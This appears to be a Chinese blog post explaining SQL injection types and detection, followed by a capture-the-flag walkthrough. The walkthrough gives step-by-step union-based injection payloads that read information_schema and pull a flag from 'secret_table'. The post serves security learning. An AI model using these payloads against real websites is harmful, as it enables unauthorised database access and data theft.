1. 首先要了解 SQL 注入的原理:
SQL Injection: 就是通过把 SQL 命令插入到 web 表单递交或输入域名或页面请求的查询字符串, 最终达到欺骗服务器执行恶意的 SQL 命令.
具体来说, 它是利用现有应用程序, 将(恶意的)SQL 命令注入到后台数据库引擎执行的能力, 它可以通过在 Web 表单中输入(恶意)SQL 语句得到一个存在安全漏洞的网站上的数据库, 而不是按照设计者意图去执行 SQL 语句. 比如先前的很多影视网站泄露 VIP 会员密码大多就是通过 Web 表单递交查询字符暴出的, 这类表单特别容易受到 SQL 注入式攻击.(来源于百度)
也就是说网站页面包含与数据库交互的部分 (例如新闻网站的查找功能), 而当在网站输入数据信息, 数据信息被程序化后传入数据库执行的过程中, 网站的开发人员没有对这些传入数据库的相应数据做安全处理(比如过滤特殊字符, 编码等), 导致黑客可以将恶意代码(也就是包含非法 SQL 语句的 SQL 命令) 通过网站前段传入数据库, 并在数据库中执行这些具有黑客目的的 SQL 语句, 从而造成数据库信息泄露, 损坏等后果.
2. SQL 注入的一般分类
按照注入点类型来分类
(1)数字型注入点
许多网页链接有类似的结构 http://www.example.com/12.php?id=1 基于此种形式的注入, 一般被叫做数字型注入点, 缘由是其注入点 id 类型为数字, 在大多数的网页中, 诸如 查看用户个人信息, 查看文章等, 大都会使用这种形式的结构传递 id 等信息, 交给后端, 查询出数据库中对应的信息, 返回给前台. 这一类的 SQL 语句原型大概为 select * from 表名 where id=1 若存在注入, 我们可以构造出类似与如下的 sql 注入语句进行爆破: select * from 表名 where id=1 and 1=1
(2)字符型注入点
网页链接有类似的结构 http://xwww.example.com/users.php?user=admin 这种形式, 其注入点 user 类型为字符类型, 所以叫字符型注入点. 这一类的 SQL 语句原型大概为 select * from 表名 where user='admin' 值得注意的是这里相比于数字型注入类型的 sql 语句原型多了引号, 可以是单引号或者是双引号. 若存在注入, 我们可以构造出类似与如下的 sql 注入语句进行爆破: select * from 表名 where user='admin' and 1=1 ' 我们需要将这些烦人的引号给处理掉.
(3)搜索型注入点
这是一类特殊的注入类型. 这类注入主要是指在进行数据搜索时没过滤搜索参数, 一般在链接地址中有 "keyword = 关键字" 有的不显示在的链接地址里面, 而是直接通过搜索框表单提交. 此类注入点提交的 SQL 语句, 其原形大致为: select * from 表名 where 字段 like '% 关键字 %' 若存在注入, 我们可以构造出类似与如下的 sql 注入语句进行爆破: select * from 表名 where 字段 like '% 测试 %' and '%1%'='%1%'
3. 如可判断是否存在 SQL 注入(小白总结, 仅供参考)
简单点讲就是:
所有的输入只要和数据库进行交互的, 都有可能触发 SQL 注入
SQL 注入按照数据提交的方式可分为:
(1)GET 注入: 提交数据的方式是 GET , 注入点的位置在 GET 参数部分. 比如有这样的一个链接 http://xxx.com/news.php?id=1 , id 是注入点.
(2)POST 注入: 使用 POST 方式提交数据, 注入点位置在 POST 数据部分, 常发生在表单中.
(3)Cookie 注入: HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中.
(4)HTTP 头部注入: 注入点在 HTTP 请求头部的某个字段中. 比如存在 User-Agent 字段中. 严格讲的话, Cookie 其实应该也是算头部注入的一种形式. 因为在 HTTP 请求的时候, Cookie 是头部的一个字段.
根据提交方式分类后, 你会发现 SQL 注入最长发生的位置在链接地址, 数据参数, cookie 信息以及 HTTP 请求头等位置.
了解了可能存在 SQL 注入的位置, 然后我们需要判断在这些位置上是否能够触发 SQL 注入, 最简单的方式就是在相应位置输入 and 1=1 (以及 and 1=1 的变换形式)来判断. 对于不同的注入点类型, 比如字符型需要适当添加单引号, 而对于数字型的注入点则不需要.
4. SQL 注入的高级分类(按照执行效果分类)
(1)基于布尔的盲注: 即可以根据返回页面判断条件真假的注入.
(2)基于时间的盲注: 即不能根据页面返回内容判断任何信息, 用条件语句查看时间延迟语句是否执行 (即页面返回时间是否增加) 来判断.
(3)基于报错注入: 即页面会返回错误信息, 或者把注入的语句的结果直接返回在页面中.
(4)联合查询注入: 可以使用 union 的情况下的注入.
(5)堆查询注入: 可以同时执行多条语句的注入.
(6)宽字节注入: 利用 gbk 是多字节的编码, 两个字节代表一个汉字
5. 进入正题
实例链接: http://111.198.29.45:57639/(本文仅供开发人员学习参考)
(1)根据以上知识判断, 在搜索框中输入 and 1=1(或 or 1=1 等)的一些变换形式不断尝试, 最后发现输入' and 1=1 #返回页面正常, 因此初步判断网站存在基于报错的搜索型注入点,
(2)然后开始进行手工注入
a. 暴字段长度: 命令'order by 3 # 页面返回正常, 命令' order by 4 # 报错, 因此判断字段长度为 3.
b. 匹配字段: 命令'select 1,2,3 #无法执行, 输入命令' and 1=1 union select 1,2,3 # 页面以及字段信息正常回显(因此该注入支持 union 联合查询注入)
暴字段位置: 命令 ' and 1=2 union select 1,2,3 # . 页面返回 2,3
c. 暴库, 命令(MySQL 暴库命令) ' and 1=2 union select 1,2,SCHEMA_NAME from information_schema.SCHEMATA # . 根据页面返回信息可知网站使用 MySQL 数据库, 且网站的数据库为 news.
命令解析: SCHEMA_NAME 当前数据库名
information_schema(数据词典)是 MySQL 自带的数据库, 它提供了访问数据库元数据的方式(元数据是关于数据的数据, 如数据库名或表名, 列的数据类型, 或访问权限等).
SCHEMATA(information_schema 中的一个表): 提供了当前 MySQL 实例中所有数据库的信息. show databases 的结果取之此表.
d. 猜表, 命令 'union select 1,2,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA ='news' # . 可以看到有 news 和 secret_table 两个表.
命令解析: TABLE_NAME 当前表名
TABLES(information_schema 中的一个表)提供了关于数据库中的表的信息(包括视图). 详细表述了某个表属于哪个 schema, 表类型, 表引擎, 创建时间等信息. 是 show tables from schemaname 的结果取之此表.
e. 猜字段, 命令 ''and 1=2 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME ='news'#''and 1=2 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = 'secret_table' #
输入两个命令后发现表二中有 fl4g 字段
f. 暴密码(flag), 命令 ' and 1=2 union select 1,2,fl4g from secret_table # . 得到 flag,SQL 注入完成
本文主要是学习, 望各位大佬多多提意见! Thank You !
来源: https://www.cnblogs.com/conquer-vv/p/11307682.html